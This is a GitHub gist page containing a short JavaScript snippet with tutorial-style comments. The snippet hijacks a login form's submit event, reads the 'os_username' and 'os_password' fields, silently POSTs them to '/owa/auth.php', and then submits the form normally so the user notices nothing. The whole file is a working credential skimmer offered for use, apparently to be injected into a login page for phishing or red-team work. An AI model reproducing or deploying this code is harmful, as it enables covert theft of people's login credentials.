Last active
September 22, 2020 17:47
-
-
Save joeleonjr/403089995f48ad49a2a450aa1f13d801 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//The window "load" event is fired when the whole page has loaded, | |
//including all dependent resources such as stylesheets and images. | |
//Read more: https://developer.mozilla.org/en-US/docs/Web/API/Window/load_event | |
window.addEventListener("load", function() { | |
//This assumes the target form is the first on the page, if not change the index. | |
//Attaching to the "submit" event on that form | |
document.forms[0].addEventListener("submit", function(e) { | |
//Prevent the default form submit | |
e.preventDefault(); | |
//Grab the value of the email and password input fields | |
var u = document.getElementsByName("os_username")[0].value; | |
//var u = document.forms[0].elements[0].value; | |
var p = document.getElementsByName("os_password")[0].value; | |
//var p = document.forms[0].elements[1].value; | |
//Create an XMLHttpRequest | |
//XMLHttpRequest (XHR) objects are used to interact with servers. | |
//You can retrieve data from a URL without having to do a full page refresh. | |
//This enables a Web page to update just part of a page without disrupting | |
//what the user is doing. XMLHttpRequest is used heavily in AJAX programming. | |
//Read more: https://developer.mozilla.org/en/docs/Web/API/XMLHttpRequest | |
var xhr = new XMLHttpRequest(); | |
//When XHR request successfully posts data, submit form to original location. | |
xhr.onreadystatechange = function() { | |
if (xhr.readyState == 4 && xhr.status == 200) { | |
document.forms[0].submit(); | |
} | |
} | |
//Specify the URL endpoint | |
var url = '/owa/auth.php'; | |
//Build your POST parameters with the form field values | |
var params = 'username=' + u + '&password=' + p; | |
//Send the XHR | |
xhr.open('POST', url, true); | |
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); | |
xhr.send(params); | |
}) | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment